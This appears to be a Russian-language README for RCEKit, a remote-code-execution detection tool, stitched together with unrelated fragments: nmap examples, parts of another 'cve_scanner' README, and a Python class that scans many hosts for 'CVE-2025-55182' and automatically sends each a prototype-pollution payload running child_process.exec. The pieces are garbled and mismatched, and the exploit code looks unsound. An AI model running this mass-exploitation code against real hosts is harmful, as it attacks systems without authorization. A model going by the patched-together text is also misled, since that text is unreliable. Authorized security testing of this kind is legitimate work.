**Или возьмите только один файл.** Корпус полезных нагрузок встроен в модуль, поэтому
`rcekit.py` работает сам по себе, без ничего рядом — никакого шага установки, никаких
site-packages, ничего, что можно было бы оставить после себя. На клиентском jump-хосте, в изолированной
среде или где угодно, где `pip install` недоступен:```bash
curl -O https://raw.githubusercontent.com/kabiri-labs/rcekit/main/rcekit.py
python rcekit.py --doctor    # same corpus, same check, zero installation

Поставьте маркер `FUZZ` там, где попадает ваш ввод (или выберите параметр с помощью `-p` при
использовании перехваченного запроса), и попросите RCEKit доказать RCE:```bash
rcekit --acknowledge-consent \
  --verify-url "https://target.example/lookup?host=FUZZ" \
  --methods reflected,eval

    def __init__(self, target, port, timeout=10, verbose=False):
        self.target = target
        self.port = port
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    def log(self, message, level='info'):
        """Логирование сообщений"""
        if level == 'error':
            print(f"{Colors.RED}[!] {message}{Colors.RESET}")
        elif level == 'success':
            print(f"{Colors.GREEN}[+] {message}{Colors.RESET}")
        elif level == 'warning':
            print(f"{Colors.YELLOW}[*] {message}{Colors.RESET}")
        else:
            if self.verbose:
                print(f"{Colors.BLUE}[i] {message}{Colors.RESET}")

    def check_vulnerability(self):
        """Проверка уязвимости CVE-2025-55182"""
        self.log(f"Проверка {self.target}:{self.port} на наличие CVE-2025-55182...")
        
        try:
            # Проверка доступности цели
            url = f"http://{self.target}:{self.port}"
            response = self.session.get(url, timeout=self.timeout)
            
            if response.status_code == 200:
                self.log(f"Цель доступна: {url}", 'success')
                
                # Проверка версии React
                if self.check_react_version(response.text):
                    self.log("Обнаружена уязвимая версия React", 'warning')
                    return True
            else:
                self.log(f"Цель вернула код {response.status_code}", 'warning')
                
        except requests.exceptions.ConnectionError:
            self.log(f"Не удалось подключиться к {self.target}:{self.port}", 'error')
        except requests.exceptions.Timeout:
            self.log(f"Превышено время ожидания для {self.target}:{self.port}", 'error')
        except Exception as e:
            self.log(f"Ошибка: {str(e)}", 'error')
        
        return False

    def check_react_version(self, html_content):
        """Проверка версии React в HTML"""
        # Поиск версии React в HTML
        patterns = [
            r'react@([\d.]+)',
            r'react-([\d.]+)\.min\.js',
            r'"version":\s*"([\d.]+)"'
        ]
        
        for pattern in patterns:
            matches = re.findall(pattern, html_content)
            for version in matches:
                self.log(f"Найдена версия React: {version}")
                # Уязвимые версии: 19.0.0 - 19.2.0
                if self.is_vulnerable_version(version):
                    return True
        
        return False

    def is_vulnerable_version(self, version):
        """Проверка, является ли версия уязвимой"""
        try:
            parts = version.split('.')
            major = int(parts[0])
            minor = int(parts[1]) if len(parts) > 1 else 0
            patch = int(parts[2]) if len(parts) > 2 else 0
            
            # Уязвимость затрагивает React 19.0.0 - 19.2.0
            if major == 19:
                if minor >= 0 and minor <= 2:
                    return True
            return False
        except (ValueError, IndexError):
            return False

    def exploit(self):
        """Эксплуатация уязвимости"""
        self.log("Попытка эксплуатации CVE-2025-55182...")
        
        try:
            # Создание вредоносного payload
            payload = self.create_payload()
            
            # Отправка эксплойта
            url = f"http://{self.target}:{self.port}/api/react"
            headers = {
                'Content-Type': 'application/json',
                'X-React-Version': '19.0.0'
            }
            
            response = self.session.post(
                url,
                json=payload,
                headers=headers,
                timeout=self.timeout
            )
            
            if response.status_code == 200:
                self.log("Эксплуатация успешна!", 'success')
                return True
            else:
                self.log(f"Эксплуатация не удалась: {response.status_code}", 'error')
                
        except Exception as e:
            self.log(f"Ошибка эксплуатации: {str(e)}", 'error')
        
        return False

    def create_payload(self):
        """Создание payload для эксплуатации"""
        payload = {
            "type": "react.element",
            "props": {
                "__proto__": {
                    "polluted": True,
                    "isAdmin": True,
                    "rce": "require('child_process').exec('id')"
                }
            },
            "children": []
        }
        return payload

class Scanner:
    """Основной класс сканера"""
    
    def __init__(self, targets, ports, threads=10, timeout=10, verbose=False):
        self.targets = targets
        self.ports = ports
        self.threads = threads
        self.timeout = timeout
        self.verbose = verbose
        self.results = []
        self.lock = threading.Lock()

    def scan_target(self, target, port):
        """Сканирование одной цели"""
        scanner = ReactScanner(target, port, self.timeout, self.verbose)
        
        if scanner.check_vulnerability():
            if scanner.exploit():
                with self.lock:
                    self.results.append({
                        'target': target,
                        'port': port,
                        'vulnerable': True,
                        'exploited': True
                    })
                return True
        
        return False

    def run(self):
        """Запуск сканирования"""
        print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
        print(f"{Colors.CYAN}CVE-2025-55182 Scanner v1.0{Colors.RESET}")
        print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
        print(f"Целей: {len(self.targets)}")
        print(f"Портов: {len(self.ports)}")
        print(f"Потоков: {self.threads}")
        print(f"{Colors.CYAN}{'='*60}{Colors.RESET}\n")
        
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = []
            for target in self.targets:
                for port in self.ports:
                    future = executor.submit(self.scan_target, target, port)
                    futures.append(future)
            
            for future in as_completed(futures):
                try:
                    future.result()
                except Exception as e:
                    if self.verbose:
                        print(f"{Colors.RED}[!] Ошибка: {str(e)}{Colors.RESET}")
        
        self.print_results()

    def print_results(self):
        """Вывод результатов"""
        print(f"\n{Colors.CYAN}{'='*60}{Colors.RESET}")
        print(f"{Colors.CYAN}Результаты сканирования{Colors.RESET}")
        print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
        
        if self.results:
            print(f"{Colors.GREEN}Найдено уязвимых целей: {len(self.results)}{Colors.RESET}\n")
            for result in self.results:
                print(f"{Colors.GREEN}[+] {result['target']}:{result['port']}{Colors.RESET}")
                print(f"    Уязвимость: CVE-2025-55182")
                print(f"    Эксплуатация: {'Успешно' if result['exploited'] else 'Не удалось'}")
                print()
        else:
            print(f"{Colors.YELLOW}Уязвимых целей не найдено{Colors.RESET}")
        
        print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")

### Из перехваченного запроса — форма, которая есть у большинства реальных целей

`--verify-url` несёт только URL и ничего больше. Большинство интересных для тестирования стоков находятся за POST-запросом с сессионной cookie, content type и телом, и RCEKit принимает этот запрос целиком: сохраните его из вашего прокси или devtools браузера и укажите поле для инъекции.```bash
rcekit --acknowledge-consent \
  -r search.req -p q \
  --methods reflected,eval

nmap 192.168.1.1

nmap -p 22,80,443 192.168.1.1

nmap -sV 192.168.1.1

nmap --script vuln 192.168.1.1

nmap 192.168.1.0/24

nmap -oN scan_results.txt 192.168.1.1

Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-01 12:00 UTC
Nmap scan report for 192.168.1.1
Host is up (0.0023s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds

Метод, путь, заголовки, тело и cookies переиспользуются в том виде, в каком были захвачены, и каждое значение кодируется для того контекста, в который оно попадает — JSON-лист, поле формы и cookie экранируются по-разному. Уберите `-p` и отметьте место с помощью `FUZZ` или `*`, если предпочитаете.

### Всё, что есть в инструменте

Две вещи достижимы только из захваченного запроса: **перечисление точек инъекции** (`--auto-params`) и любой sink, которому нужна сессия. Поэтому самый полный запуск, который может выполнить RCEKit, начинается с `-r`, а не с URL — это стоит знать, прежде чем делать вывод, что цель чиста.```bash
rcekit --acknowledge-consent \
  -r search.req --auto-params all --point-order thorough \
  --methods reflected,eval,time,lookup,deser \
  --oob-host oob.yourdomain.example --listen-dns-port 53 \
  --verify-active-risk stateful --probe-depth full \
  --detect-json findings.json

# Базовое сканирование
python3 cve_scanner.py --target https://example.com

# Сканирование с пользовательскими заголовками
python3 cve_scanner.py --target https://example.com --headers "Authorization: Bearer token"

# Сканирование с прокси и увеличенным тайм-аутом
python3 cve_scanner.py --target https://example.com --proxy http://127.0.0.1:8080 --timeout 30

# Вывод в формате JSON
python3 cve_scanner.py --target https://example.com --format json --output results.json

# Сканирование нескольких целей из файла
python3 cve_scanner.py --targets-file targets.txt --threads 20

from cve_scanner import CVEScanner

scanner = CVEScanner(
    target="https://example.com",
    timeout=10,
    threads=10,
    verify_ssl=True
)

results = scanner.scan()
for result in results:
    print(f"{result['cve_id']}: {result['severity']} - {result['description']}")

cve_scanner/
├── __init__.py
├── scanner.py          # Основная логика сканирования
├── cve_database.py     # Интеграция с базой данных CVE
├── http_client.py      # HTTP-клиент с обработкой ошибок
├── detectors/          # Модули обнаружения уязвимостей
│   ├── __init__.py
│   ├── base.py         # Базовый класс детектора
│   ├── apache.py       # Детекторы для Apache
│   ├── nginx.py        # Детекторы для Nginx
│   ├── wordpress.py    # Детекторы для WordPress
│   └── ...
├── reporters/          # Модули вывода результатов
│   ├── __init__.py
│   ├── json_reporter.py
│   ├── csv_reporter.py
│   └── table_reporter.py
└── utils/              # Вспомогательные утилиты
    ├── __init__.py
    ├── logger.py
    └── validators.py

from detectors.base import BaseDetector

class MyCustomDetector(BaseDetector):
    """Пользовательский детектор для конкретной уязвимости."""

    name = "My Custom Detector"
    description = "Обнаруживает конкретную уязвимость"

    def detect(self, target, response):
        """
        Обнаруживает уязвимость.

        Args:
            target: URL цели
            response: HTTP-ответ

        Returns:
            dict или None: Информация об уязвимости, если обнаружена
        """
        if "vulnerable_pattern" in response.text:
            return {
                "cve_id": "CVE-XXXX-XXXX",
                "severity": "HIGH",
                "description": "Описание уязвимости",
                "evidence": "Доказательство обнаружения"
            }
        return None

# Запуск всех тестов
pytest tests/

# Запуск с покрытием
pytest --cov=cve_scanner tests/

# Запуск конкретного теста
pytest tests/test_scanner.py::test_basic_scan

Что открывает каждый флаг:

| | |
|---|---|
| `--auto-params all` | каждое значение запроса, JSON-лист, поле формы, multipart-часть, cookie и заголовок, вместо одного именованного поля |
| `--point-order thorough` | каждый заголовок, кроме hop-by-hop, а не только высокодоходные |
| `--methods ...,lookup,deser` | стоки expression-lookup и десериализации, до которых не дотягиваются методы shell-формы |
| `--oob-host` | хост для callback в слепых методах. Нужен делегированный вам домен; для порта 53 нужен root |
| `--verify-active-risk stateful` | высшая ступень — добавляет формы проб, заставляющие цель обращаться по адресу, который RCEKit не выбирал |
| `--probe-depth full` | каждая форма break-out для каждого стока, а не только дешёвые |
| `--detect-json` | те же вердикты в машиночитаемом JSON |

**Это очень много запросов.** Строка стоимости печатается до того, как что-либо сработает, а `--max-points` / `--max-payloads` ограничивают её. Запускайте против экземпляра, который вам разрешено ломать: `--verify-active-risk stateful` — это уровень для одноразовой цели, а не для продакшена.

Никакой внешней инфраструктуры, никакого файла конфигурации.

**Не доверяйте GIF-файлам на слово** — [воспроизведите их сами](https://github.com/kabiri-labs/rcekit/blob/main/docs/verify-it-yourself.md) против докеризованных целей Webmin и Struts2 примерно за пять минут.

**Далее:** [**полевое руководство**](https://github.com/kabiri-labs/rcekit/blob/main/docs/guide.md) разбирает реальные ситуации — перехваченные запросы, WAF, отфильтрованные разделители, экранированные стоки, слепые цели и цели без исходящего трафика — по одному проработанному примеру на каждую.

---

## Что означает вердикт

Найти *кандидата* на RCE легко. Сложная часть — сообщить о таком, который выдержит чужой ретест, и здесь провал возможен в двух направлениях: «возможно уязвимо», которое оказывается отражением, и «не уязвимо» из запуска, который на самом деле ничего не тестировал.

RCEKit отвечает **восемью вердиктами, которые никогда не смешиваются друг с другом**:

| Вердикт | Что он утверждает |
|---|---|
| **`confirmed`** | Цель выполнила входные данные. Она вернула значение, которое не могла бы получить иначе — вычисленное из операндов, случайных для этой пробы — и это значение отсутствует в контрольном запуске без полезной нагрузки. |
| **`deserialization-sink`** | Цель восстановила граф объектов, предоставленный атакующим. Доказано, но касается *другого свойства*: достижение RCE оттуда зависит от гаджетов в classpath, поэтому это никогда не называется RCE. |
| **`lookup-sink`** | Цель разрешила URI, который ей передал RCEKit — выражение `${jndi:…}` дошло до lookup, что доказано по callback, несущему токен, который был только у этой пробы. Это сток, а не выполнение: для достижения RCE оттуда нужен сервер, отвечающий загружаемым классом. |
| **`needs-review`** | Реальный сигнал, который сам по себе не является доказательством — линейная регрессия по времени, отпечаток парсера. Стоит вашего времени, но никогда не стоит слова «confirmed». |
| **`inconclusive`** | Доказательство появилось, но не может быть приписано выполнению — контрольный запуск без полезной нагрузки тоже его нёс. |
| **`negative`** | Пробы были построены, достигли цели и ничего не нашли. |
| **`error`** | Ничего не достигло цели. |
| **`nothing-tested`** | Пробы вообще не были построены. |

Как только `confirmed` и `maybe` размываются, `confirmed` перестаёт что-либо значить — поэтому ничто никогда не повышается в статусе. Регрессия по времени остаётся `needs-review`, каким бы чистым ни был наклон. Callback десериализации остаётся `deserialization-sink`, как бы вы ни были уверены, что classpath эксплуатируем.

### Другая половина: запуск, который ничего не протестировал, никогда не бывает чистым

Последние две строки — те, которых нет у других инструментов, и они важнее, чем кажутся. Сканер, который не смог достичь цели или не построил ни одной пробы, потому что ваши флаги исключили их все, не узнал о цели **ничего** — и напечатать там `negative` — это ложь, которая читается точно так же, как безопасность.

Поэтому `error` и `nothing-tested` — это полноценные вердикты, запуск завершается с ненулевым кодом, и RCEKit сообщает, какой из них произошёл и почему:```
[!] No probes were built, so NOTHING WAS TESTED — this is not a negative result.
[!] None of the selected methods (reflected, file) apply to environment(s): sql.

### 2. Он спорит со своими же результатами

Инструмент сообщает о том, что он обнаружил. RCEKit также сообщает о том, **чему он отказался верить** —
`inconclusive` — это отдельный вердикт, для свидетельств, которые появились, но не могли
быть отнесены к выполнению:```
[detect] methods: reflected, eval
[detect] sent 13 probes: confirmed=0, inconclusive=2, negative=11

Приветствуются вклады — новые sinks/категории, кодировки, окружения, методы
обнаружения, исправления ошибок и документация. Базы payload'ов хранятся в
редактируемых JSON-шаблонах (`templates/payloads.json`), поэтому большинство
расширений покрытия не требует изменения исходного кода на Python. После
изменения корпуса обновите встроенную копию, поставляемую внутри `rcekit.py`:```bash
python tools/embed_corpus.py    # --check verifies it is current